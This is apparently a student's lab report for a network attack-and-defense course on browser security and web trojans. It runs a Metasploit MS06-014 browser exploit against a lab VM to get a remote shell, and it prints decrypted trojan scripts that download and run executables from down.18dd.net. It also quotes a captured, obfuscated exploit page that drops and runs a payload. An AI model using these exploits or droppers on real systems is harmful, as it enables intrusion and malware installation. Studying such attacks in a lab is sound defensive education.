20211908 孟向前 2021-2022-2 《网络攻防实践》第十一周作业

实践十一 浏览器安全攻防实践

一、实践内容

Web浏览器技术
Web浏览器(Web Browser)是目前互联网用户最常用的客户端软件,可以帮助用户浏览Web服务器上的文件,并让用户与这些文件进行交互,在Web浏览器的帮助下,互联网用户能够迅速及轻易地浏览万维网上文字、图像、视频等各种形态的信息内容,以及访问各种形式与用途的Web应用程序。

现代Web浏览器的基本结构与机理
现代Web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的Web浏览器软件。目前的现代Web浏览器要求能够理解和支持HTML和XHTML、Cascading StyleSheets (CSS)、ECMAScript及W3C Document Object Mode(DOM)等一系列标准,因此现代浏览器已经不像古典浏览器那么简单明了,其基本结构与各种功能特性的复杂性也已经大大增加,现代浏览器的基本结构如图12-2所示,需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript、 FlashActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。

Web浏览端安全漏洞特性总结:
1、网页木马所攻击的安全漏洞的存在位置非常多样化,包括 Web浏览器自身(如MS10-002极光和 MS10-018极风)、浏览器插件(如 Office OWC10.Spreadsheet 控件)、关联某些Web文件的应用程序(如 Adobe Flash Player)等,由于这几类软件代码都涉及Web浏览过程,因此一旦它们中存在着可导致远程代码执行的安全漏洞,就很可能被网页木马所利用。
2、除了微软操作系统平台软件本身的安全漏洞之外,网页木马近年来也在不断地发掘和利用其他流行应用软件中的安全漏洞,由于互联网用户对应用软件的在线升级和补丁安装过程还没有像微软系统软件一样自动化和实时,因此一些流行应用软件中的安全漏洞留给网页木马的攻击时间窗口往往更长一些。
3、一些影响范围广的安全漏洞,如 MS06-014,会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机。

通过上述流程构造出的网页木马攻击网络具有区别于传统的二进制恶意代码的如下特性,这也使得网页木马成为近年来最为复杂和难以应对的网络安全威胁类型。
1、多样化的客户端渗透攻击位置和技术类型
在一个网页木马攻击网络中,为了提升渗透攻击成功的概率(即行话中的“中马率”),攻击者往往集成了多样化的客户端渗透攻击代码,攻击的软件类型与位置,所利用的安全漏洞类型也可能各不相同,这对完善地应对这些威胁带来了很大的技术挑战。
2、分布式、复杂的微观链接结构
为了扩大网页木马攻击网络的攻击影响范围,提高网络的可生存性,攻击者往往采用多个木马宿主站点来放置网页木马和盗号木马,并将它们挂接至大量的前端网页中,此外还引入了一些中间跳转站点来提升防御方的分析和应对代价,因此,整个网页木马攻击网络往往会呈现出跨越万维网上大量节点的分布式、复杂的微观链接结构,这给全面有效地分析和处置网页木马安全威胁带来了很大的难度。
3、灵活多变的混淆与对抗分析能力
网页木马通常所利用的Web 客户端脚本语言,如JavaScript 语言,都支持各种非常灵活的字符串操作与编码、代码动态生成与执行、HTML页面无缝处理等机制,而攻击者为了躲避反病毒引擎对网页木马的检测,充分利用了Web客户端脚本语言的这些灵活机制,来对网页木马进行混淆处理,并提升它们的对抗分析能力,这也给网页木马快速精确的检测与深入分析带来了很大的技术难题。

网页挂马四类策略:
1、内嵌HTML标签:如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中。
2、恶意script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马,例如,<script src=“URL to Trojan”>。
3、内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,如Flash中的LoadMovie()方法等。
4、ARP欺骗挂马:在同一以太网网段内,攻击者通过ARP欺骗方法进行中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。

网页木马的检测与分析技术
1、基于特征码匹配的传统检测方法
2、基于统计与机器学习的静态分析方法
3、基于动态行为结果判定的检测分析方法
4、基于模拟浏览器环境的动态分析检测方法

网页木马检测分析技术综合对比
网页木马的检测分析方法主要分为静态分析与动态分析两大类。
而现有的静态分析方法试图通过特征码匹配和机器学习方法,在网页木马的外在形态层次上构建出较为准确的检测方法,这类方法对于灵活多变的网页木马形态而言,不可避免地存在无法应对变形或未知攻击的缺陷;动态行为分析方法实质上是从网页木马的外部表现行为出发,根据网页木马成功攻击客户端软件后对系统造成的行为后果进行判定,而对网页木马最核心的渗透攻击过程则视做“黑盒”不进行任何分析,因此在交互环境不充分、渗透代码存在“逻辑炸弹”或对抗机制、网页木马攻击场景部分失效等情况下均无法有效检测,此外该类方法仅能判定是否网页木马,而无法提供目标组件、利用漏洞位置与类型等更为全面的攻击语义信息。近年提出的基于模拟浏览器环境的动态分析检测方法,在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得了良好的效果,并能够进一步结合脚本源码的静态结构分析以及安全漏洞特征检测方法,来达到更好的检测效果
网页木马作为目前系统安全研究热点领域——Web安全的重要组成部分,仍将是未来几年国内外研究的热点问题之一。对网页木马的相关研究会沿着从程序层次、模块层次到指令层次逐步微观化的趋势,从外在形态与行为表现至渗透攻击客户端安全漏洞的本质特征,逐步揭示出新形态客户端渗透攻击的内在规律,并建立起全面有效的应对技术体系与方法。

二、实践过程
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
1、选择使用Metasploit中的MS06-014渗透攻击模块
2、选择PAYLOAD为任意远程Shell连接
3、设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
4、在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
5、在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

1、在攻击机Kali中打开msfconsole

2、输入命令search ms06-014,查看漏洞信息

3、输入命令use exploit/windows/browser/ie_createobject,启用漏洞,同时设置好攻击机和靶机

4、输入命令set payload windows/shell/bind_tcp,然后输入exploit,提示会话建立成功

5、攻击后,可以得到有木马的网址http://192.168.200.4:8080/RtlCsNaCQFeL6,在靶机中启动浏览器,并登录该网址验证,登陆成功,返回一段字符

6、输入命令sessions查看会话

7、输入命令sessions -i 1 继续利用会话,输入命令ipconfig查看靶机网络状态

(2)取证分析实践—网页木马攻击场景分析
1、首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
2、在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
3、如果解密出的地址给出的是网页或脚本文件,请继续解密。
4、如果解密出的地址是二文件pp进制程序文件,请进行静态反汇编或动态调试。
5、重复以上过程直到这些文件被全部分析完成。

在PDF文件中查找new09.htm

找到两个链接:
http://aa.18dd.net/aa/kl.htm
http://js.users.51.la/1299644.js
分别做MD5散列

按照http://192.168.68.253/scom/hashed/+散列值的形式下载文件,

圈出部分为密钥

利用在线工具进行解密分析,如下:

打开虚拟机,将文件pps.exe拖入

使用工具PEID,查看pps.exe加壳情况,如图,文件pps.exe使用Delphi编写,

打开工具IDA,反汇编文件pps.exe

用记事本打开文件pps.js

利用在线解密工具解密,如下图所示:

文件中存在shellcode。

对1.js解密得:

var url="http://down.18dd.net/bb/014.exe";
try{
 var xml=ado.CreateObject("Microsoft.XMLHTTP","");
 xml.Open("GET",url,0);xml.Send();
 as.type=1;as.open();
 as.write(xml.responseBody);
 path="..\\ntuser.com";as.savetofile(path,2);
 as.close();
 var shell=ado.createobject("Shell.Application","");
 shell.ShellExecute("cmd.exe","/c "+path,"","open",0)
   }
catch(e){}

得到下载链接http://down.18dd.net/bb/014.exe,下载可执行文件,然后利用abodb漏洞。

同样,对于b.js,

解密发现shellcode,并得到下载链接http://down.18dd.net/bb/bf.exe

(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

选择MS06_014漏洞,操作同实践一,同时在Kali中打开Wireshark,抓取靶机发送给攻击机的数据包,并追踪TCP流

代码如下,分析可知,攻击机使用了ms06-014漏洞。

GET /egJwV0qo8X HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.200.4:8080
Connection: Keep-Alive

HTTP/1.1 200 OK
Content-Type: text/html
Connection: Keep-Alive
Server: Apache
Content-Length: 39696

<html>
<head>
<title></title>
<scriptlanguage="javascript">
Function TNnqPqFwATYGhAFN(o,n)
{
varr=null;
try
{
eval("r=o"+".C"+"re"+"ate"+"Ob"+"je"+"ct(n)")
}catch(e){}
if(!r)
{
try
{
eval("r=o"+".Cr"+"ea"+"teO"+"bj"+"ect(n,'')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Cr"+"ea"+"teO"+"bj"+
"ect(n,'','')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"je"+"ct('',n)")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"ject(n,'')")
}catch(e){}
}
if(!r)
{
try
{
eval("r=o"+".Ge"+"tOb"+"ject(n)")
}catch(e){}
}
return(r);
}
Function MVPXzuoZeLqwiAgmYyyewEJvmOllm(a)
{
var s=TNnqPqFwATYGhAFN(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
var o=TNnqPqFwATYGhAFN(a,"A"+"DO"+"D"+"B.S"+"tr"+"eam");
var e=s.Environment("P"+"ro"+"ce"+"ss");
var url=document.location+'/p'+'ay'+'lo'+'ad';
var xml =null;
var bin=e.Item("T"+"E"+"M"+"P")+"\\rzULNEAMzLdxJYBzMznRxycm"+".e"+"xe";
var dat; try
{ 
xml=new XMLHttpRequest();
}
catch(e)
{
try
{
xml = new ActiveXObject("Microsoft.XMLHTTP");
}
catch(e)
{
xml= new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if(!xml)
{
return(0);
}
xml.open("GET",url,false);
xml.send(null);
dat=xml.responseBody;
o.Type=1;
o.Mode=3;
o.Open();
o.Write(dat);
o.SaveToFile(bin,2);
s.Run(bin,0);
}
function tVvSIcjfVnZffIabEspn()
{
var i=0;
var t=new Array('{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+''+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+
'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+''+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}'
,'{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+
'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);
while(t[i])
{
Var a=null;
if(t[i].substring(0,1)=='{')
{
a=document.createElement("object");
a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));}
else{try{a=newActiveXObject(t[i]);}
catch(e){}}
if(a)
{
try
{
Var b=TNnqPqFwATYGhAFN(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
if(b)
{
MVPXzuoZeLqwiAgmYyyewEJvmOllm(a);
return(0);}
}catch(e){}}i++;}}
</script></head>
<bodyonload='tsoBepmzmTQVTVZgeTmbAKdTnSMahi()'>
zaRUGegymPCgSKBUSpqCyDtOZtokg
</body>
</html>

GET /egJwV0qo8X/payload HTTP/1.1
Referer: http://192.168.200.4:8080/egJwV0qo8X
Content-Length: 0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.200.4:8080
Connection: Keep-Alive

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: Keep-Alive
Server: Apache
Content-Length: 73802

三、学习中遇到的问题及解决
问题:实践一刚开始一直攻击不成功;
解决:更改所使用的payload,即将set payload windows/meterpreter/reverse_tcp更改为set payload windows/shell/bind_tcp。

四、学习感想和体会
通过本次实践,学习了Web浏览器渗透攻击、网页木马攻击分析取证的相关知识,练习了相关工具的使用,查阅了许多相关博客和官方文档,对Web浏览器安全和木马攻击有了更全面的理解。

参考文献
网络攻防技术与实践——诸葛建伟

posted on 2022-05-26 17:29  仰望星空dream  阅读(10)  评论(0编辑  收藏  举报